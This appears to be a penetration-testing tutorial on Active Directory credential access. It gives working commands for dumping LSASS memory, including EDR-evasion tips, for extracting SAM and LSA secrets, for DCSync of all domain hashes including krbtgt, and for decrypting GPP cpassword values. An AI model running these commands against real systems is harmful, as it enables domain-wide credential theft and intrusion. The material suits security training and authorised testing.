So far, we’ve focused on attacking Active Directory through its Kerberos protocol – requesting tickets, roasting hashes, cracking them offline. That’s one path.

But there’s a whole other category of credential access in Active Directory environments: going directly to where the credentials live.

We’re talking about extracting authentication material from system memory, registry hives, and the Active Directory database itself. These techniques require different levels of access — from local admin on a single workstation all the way to Domain Admin on a Domain Controller — and they produce different types of output.

Let me walk you through each one.

LSASS Memory – The Primary Credential Cache in Active Directory

Let me introduce you to one of the most valuable processes on any Windows machine in an Active Directory environment: LSASS (Local Security Authority Subsystem Service).

LSASS is responsible for authenticating users and managing security policies on a Windows machine. Here’s what makes it so valuable to us: it caches authentication material for active and recent sessions.

That includes:

• NTLM hashes

• Kerberos tickets

• In some configurations, even cleartext passwords

Here’s the key insight: when you gain local admin on a machine in an Active Directory environment, LSASS gives you credentials for every user who has recently authenticated to that machine – not just the account you’re using. That might include IT managers, service accounts, even Domain Admins who RDP’d in to check something last week.

Remote LSASS Extraction (No Disk Touched)

You can extract LSASS credentials remotely without ever writing a file to the target disk. This is my preferred approach when it works.

NetExec lsassy module — remote LSASS extraction via multiple techniques
netexec smb 192.168.1.50 -u admin -p 'Password1' -M lsassy

comsvcs.dll method — LOLBin approach, often less detected by EDR
netexec smb 192.168.1.50 -u admin -p 'Password1' -M comsvcs

nanodump module — custom LSASS dumper with AV evasion built in
netexec smb 192.168.1.50 -u admin -p 'Password1' -M nanodump

On-Target Using Mimikatz

If you’re on the machine itself and have admin rights, Mimikatz is the classic tool. You need SeDebugPrivilege (which administrators have by default).

Enable debug privilege and dump everything from LSASS
privilege::debug
sekurlsa::logonpasswords

Export Kerberos tickets only (less noisy than full logonpasswords)
sekurlsa::tickets /export

Extract just NTLM hashes (narrower scope, sometimes evades detection)
sekurlsa::msv

Warning: Modern EDR tools heavily signature Mimikatz. Running sekurlsa::logonpasswords in a mature environment will often trigger an immediate alert. Use the narrower commands first, or use the offline approach below.

Offline LSASS Minidump Approach (Evades Real-Time EDR)

Here’s my preferred method when facing heavy EDR: create a process dump of LSASS, then parse it offline on your own machine. The EDR sees a process dump (normal Windows administrative activity) but never sees the credential parsing.

Create minidump using comsvcs.dll (LOLBin — higher EDR bypass rate)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump \
  (Get-Process lsass).id C:\Windows\Temp\lsass.dmp full

Alternative: procdump from Sysinternals (may be blocked by some EDR)
procdump.exe -ma lsass.exe lsass.dmp

Transfer the dump to your attacker machine, parse with pypykatz
pypykatz lsa minidump lsass.dmp

Or parse with Mimikatz offline
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

What You Can Extract from LSASS in Active Directory

SAM Database and LSA Secrets

Beyond LSASS, Windows stores credentials in two other places that matter to us.

SAM (Security Account Manager) stores NTLM hashes for local accounts on that specific machine. Not domain accounts — local accounts like the local Administrator.

LSA Secrets stores credentials used by services and the OS itself. This is where things get interesting in Active Directory environments. LSA Secrets often contain:

• Passwords of domain accounts running as services on the machine

• The machine account password (Active Directory computer account)

• Cached interactive logon credentials

Remote Extraction with secretsdump.py

Impacket secretsdump — remote extraction, requires local admin
secretsdump.py corp.example.com/admin:'Password1'@192.168.1.50

The output has three sections:
# [*] SAM hashes       → local account NTLM hashes
# [*] LSA secrets      → service account creds, machine account hash
# [*] Cached domain logons → DCC2 hashes (harder to crack than NTLM)

Why LSA Secrets Are Often More Valuable Than SAM in Active Directory

Think about it. Local account hashes (SAM) only let you move to other machines where that same local password is used – which is less common in well-managed Active Directory environments.

But LSA Secrets frequently contain the credentials of domain service accounts – backup agents, monitoring tools, automation scripts – that have been granted broad access across the Active Directory environment.

I’ve found the password of svc_backup in LSA Secrets and discovered it had Domain Admin rights more than once. That’s not a rare finding.

Local Extraction (If You’re on the Machine)

Save registry hives
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive

Parse offline on attacker machine
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

DCSync – The Active Directory Domain-Wide Hash Extraction

Now let me show you the crown jewel of Active Directory credential access.

DCSync lets you extract password hashes for every account in the entire Active Directory domain – without ever touching a Domain Controller’s filesystem. No disk access. No file transfer. Just a legitimate protocol request.

Here’s how it works: DCSync abuses the Directory Replication Service (DRS) remote protocol – the same mechanism real Domain Controllers use to replicate Active Directory changes. You’re essentially telling a Domain Controller: “Hey, replicate your Active Directory database to me.”

If your account has the right permission, the Domain Controller happily complies and sends you password hashes for any Active Directory object you ask for.

What Active Directory Permission Do You Need?

Any account with the DS-Replication-Get-Changes-All extended right can execute DCSync.

By default in Active Directory, this right is held by:

• Domain Controllers (they need to replicate)

• Domain Admins

• Enterprise Admins

But here’s where things get interesting: DACL misconfigurations in Active Directory can grant this right to other accounts. This is a specific BloodHound finding worth hunting for in every engagement. You’d be surprised how often a regular service account accidentally has DCSync rights.

Executing DCSync

DCSync — extract all NTLM hashes from the Active Directory domain
secretsdump.py corp.example.com/DA_User:'DA_Password'@192.168.1.100 \
  -just-dc-ntlm

Full extraction including Kerberos keys and password history
secretsdump.py corp.example.com/DA_User:'DA_Password'@192.168.1.100

Target a specific Active Directory account (e.g., krbtgt for Golden Ticket)
secretsdump.py corp.example.com/DA_User:'DA_Password'@192.168.1.100 \
  -just-dc-user krbtgt

Mimikatz DCSync (on Windows)
lsadump::dcsync /domain:corp.example.com /user:krbtgt
lsadump::dcsync /domain:corp.example.com /all /csv

What DCSync Gives You

The output of a full DCSync provides:

• The NTLM hash for every Active Directory account in the domain

• The Kerberos keys (AES and RC4) for every account

• The krbtgt hash — the master key for all Kerberos tickets in the domain

The krbtgt hash is the prerequisite for forging Golden Tickets (which we’ll cover in a later article). With that hash, you can forge tickets for any user in the Active Directory domain, including Domain Admin, whenever you want.

This is why DCSync represents the effective end-state of an Active Directory domain compromise. And it’s why DCSync is monitored so specifically by defenders.

GPP Credential Recovery – The Ancient Active Directory Artifact That Keeps Giving

Let me tell you about an Active Directory finding that should be dead but absolutely isn’t.

Back in the days of Windows Server 2008/2012, administrators could use Group Policy Preferences (GPP) to configure local administrator accounts, drive mappings, and scheduled tasks through GPOs. And they could include passwords right there in the GPP configuration.

Microsoft encrypted those passwords with AES-256. That sounds secure, right?

Then in 2012, Microsoft published the decryption key (MS14-025). They basically said: “Hey, this encryption was never meant to be security. Here’s how to decrypt it.”

So any cpassword attribute sitting in an Active Directory SYSVOL XML file is trivially decryptable. The key is publicly known. The decryption takes about three lines of Python.

Why GPP Credentials Still Appear in Active Directory Environments (2026)

Despite being a 12-year-old finding, GPP credentials still appear in a meaningful percentage of enterprise Active Directory environments. Why?

• Organizations haven’t performed regular SYSVOL audits

• Legacy GPOs were never migrated or cleaned up

• Some administrators still use GPP for passwords (yes, in 2026)

Extracting GPP Credentials

Automated GPP credential extraction with NetExec
netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_password
netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_autologin

Manual search for GPP files
find /tmp/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;

If you find a cpassword value, here’s how to decrypt it:

Manual decryption (Python)
python3 -c "
import base64
from Crypto.Cipher import AES
key = base64.b64decode('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
enc = base64.b64decode(cpassword + '==')
aes = AES.new(key, AES.MODE_CBC, b'\x00'*16)
print(aes.decrypt(enc).decode('utf-8').strip())
"

That decryption key is the same in every Active Directory environment. Microsoft published it. There’s no secret to protect.

Learning the methodology is important, but mastering it requires hands-on practice.
If you’re serious about penetration testing, red teaming, or Active Directory security assessments, try realistic cybersecurity CTF labs that let you practice reconnaissance, enumeration, credential attacks, privilege escalation, and exploitation techniques in a safe environment.

Quick Recap: Active Directory Credential Access Methods

Bottom line: Credential access in Active Directory is about escalating your foothold. LSASS gives you credentials for users who have logged into that machine. DCSync gives you every hash in the domain – but requires Domain Admin or a misconfigured ACL. GPP gives you credentials from the past that organizations forgot to clean up. Use them in combination, and you’ll move through Active Directory environments faster than most defenders can track.